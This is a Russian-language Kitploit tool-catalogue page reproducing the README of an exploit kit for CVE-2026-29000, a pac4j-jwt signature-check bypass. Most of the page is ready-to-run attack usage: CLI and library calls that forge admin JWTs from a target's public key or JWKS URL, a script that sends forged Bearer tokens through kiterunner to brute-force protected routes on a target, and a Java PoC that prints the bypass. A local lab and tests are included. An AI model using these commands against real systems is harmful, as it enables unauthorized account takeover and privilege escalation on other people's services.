Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-29000 — Forge JWE-обёрнутые неподписанные JWT для обхода проверки подписи pac4j-jwt (CVE-2026-29000) и аутентификации под любым пользователем; включает Python CLI, библиотеку, Java PoC и сканирование маршрутов kiterunner. | Kitploit
Инструменты/GitHubGitHub/kernelzeroday/cve-2026-29000
Аутентификация и авторизацияРазведкаГенерация полезной нагрузкиАнализ уязвимостейЭксплуатацияСкриптинг и автоматизацияЭксплуатация веб-приложенийТестирование на Проникновение

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
kernelzeroday/cve-2026-29000

CVE-2026-29000

Forge JWE-обёрнутые неподписанные JWT для обхода проверки подписи pac4j-jwt (CVE-2026-29000) и аутентификации под любым пользователем; включает Python CLI, библиотеку, Java PoC и сканирование маршрутов kiterunner.

Репозиторий
93106 месяцев назадЕщё не проверено

CVE-2026-29000: Обход аутентификации JwtAuthenticator в pac4j-jwt

Полный комплект: разбор уязвимости, Java PoC в процессе, Python CLI и библиотека для подделки токенов, тесты.

Краткое описание

  • CVE: CVE-2026-29000 (CVSS 10, CWE-347)
  • Затронутые версии: pac4j-jwt < 4.5.9 / < 5.7.9 / < 6.3.3 при использовании конфигурации JWE + подпись
  • Проблема: JWE-обёрнутый PlainJWT (без подписи) обходит проверку подписи; злоумышленник, имеющий только публичный RSA-ключ сервера, может подделывать токены и аутентифицироваться как любой пользователь.

Подробности и требования к PoC см. в WRITEUP.md.

Структура

ПутьОписание
WRITEUP.mdСводка по CVE, первопричина, затронутые версии, требования к PoC, ссылки
RECON.mdЧто включить (обнаружение claims, специфичные для приложения claims) и куда отправлять (заголовки, cookie, поиск защищённых конечных точек)
OPERATIONALIZATION.mdЧто нужно для запуска в production: упаковка, конфигурация, безопасность, автоматизация, наблюдаемость, обслуживание
scripts/kr_scan.pyПодделка токена и запуск kiterunner (~/bin/kr) с Authorization: Bearer для перебора/сканирования защищённых API-маршрутов
examples/Примеры скриптов: forge_and_curl.sh, forge_and_kr.sh
lab/Flask-приложение для лабораторных работ (JWE endpoint + JWKS) для тестирования подделки токенов
poc/Java Maven PoC (обход в процессе против pac4j-jwt 6.0.3)
token_forge/Python-пакет: создание JWE-обёрнутого PlainJWT из PEM или JWKS URL
tests/Pytest-тесты для claims, forge, keys, CLI
requirements.txtPython-зависимости (jwcrypto, requests, pytest)

Python (подделка токенов)

Установка

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate   # или .venv\Scripts\activate на Windows
pip install -r requirements.txt

Запуск CLI

root@kitploit:~
# Из PEM (сгенерировать: openssl genrsa 2048 | openssl rsa -pubout)
python -m token_forge --public-key /path/to/pub.pem --subject admin --roles "ROLE_ADMIN,ROLE_USER"

# Из JWKS URL
python -m token_forge --jwks-url https://target/.well-known/jwks.json --subject admin

# Дополнительные claims (для обнаружения специфичных для приложения): --claim [email protected] --claim key=value
# Опции: --exp-sec, --jwks-kid, --log-file, --enable-file-logging, --verbose

Вывод: одна строка (подделанный JWT); используйте как Authorization: Bearer <token>.

Автоматизация Kiterunner (kr)

Требуется kr в ~/bin/kr. Подделка токена и запуск kr brute (или kr scan) с Bearer-аутентификацией для обнаружения защищённых маршрутов:

root@kitploit:~
python scripts/kr_scan.py https://target.com --jwks-url https://target.com/.well-known/jwks.json
python scripts/kr_scan.py https://target.com --public-key pub.pem -w paths.txt -o json --dry-run

См. RECON.md §4 для опций (--subject, --roles, --claim, -A, --scan и т.д.).

Библиотека

root@kitploit:~
from token_forge import forge_token, load_public_key_from_pem, load_public_key_from_jwks_url

with open("pub.pem", "rb") as f:
    key = load_public_key_from_pem(f.read())
token = forge_token(key, subject="admin", roles=["ROLE_ADMIN"], exp_sec=3600)

Тесты

root@kitploit:~
pytest -vv --tb=short --maxfail=1
# или с предупреждениями как ошибками:
pytest -vv -W error -W always --tb=short --maxfail=1

Java PoC

Сборка и запуск (требуется Java 11+ и Maven)

root@kitploit:~
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# Или только токен (без проверки в процессе):
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
# С пользовательскими subject/roles:
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--subject user --roles ROLE_A,ROLE_B"

Ожидаемый результат: [BYPASS] Authenticated as: admin#override и роли при запуске в процессе.

Тесты и покрытие

root@kitploit:~
pytest -vv --cov=token_forge --cov-report=term-missing
pytest -vv --cov=token_forge --cov-report=html  # затем открыть htmlcov/index.html

Docker

root@kitploit:~
docker build -t cve-2026-29000 .
docker run --rm cve-2026-29000 pytest -vv --cov=token_forge --cov-report=term-missing

Лабораторная среда (уязвимая цель)

Flask-приложение, которое принимает JWE и возвращает claims (для тестирования forge + curl/kr).

root@kitploit:~
docker compose up -d lab
TOKEN=$(python -m token_forge --jwks-url http://localhost:8080/.well-known/jwks.json 2>/dev/null)
curl -H "Authorization: Bearer $TOKEN" http://localhost:8080/api/me

См. lab/README.md.

Ссылки

  • CodeAnt AI – Полный PoC и анализ
  • Консультация по безопасности pac4j
  • OpenCVE CVE-2026-29000
Скачать инструмент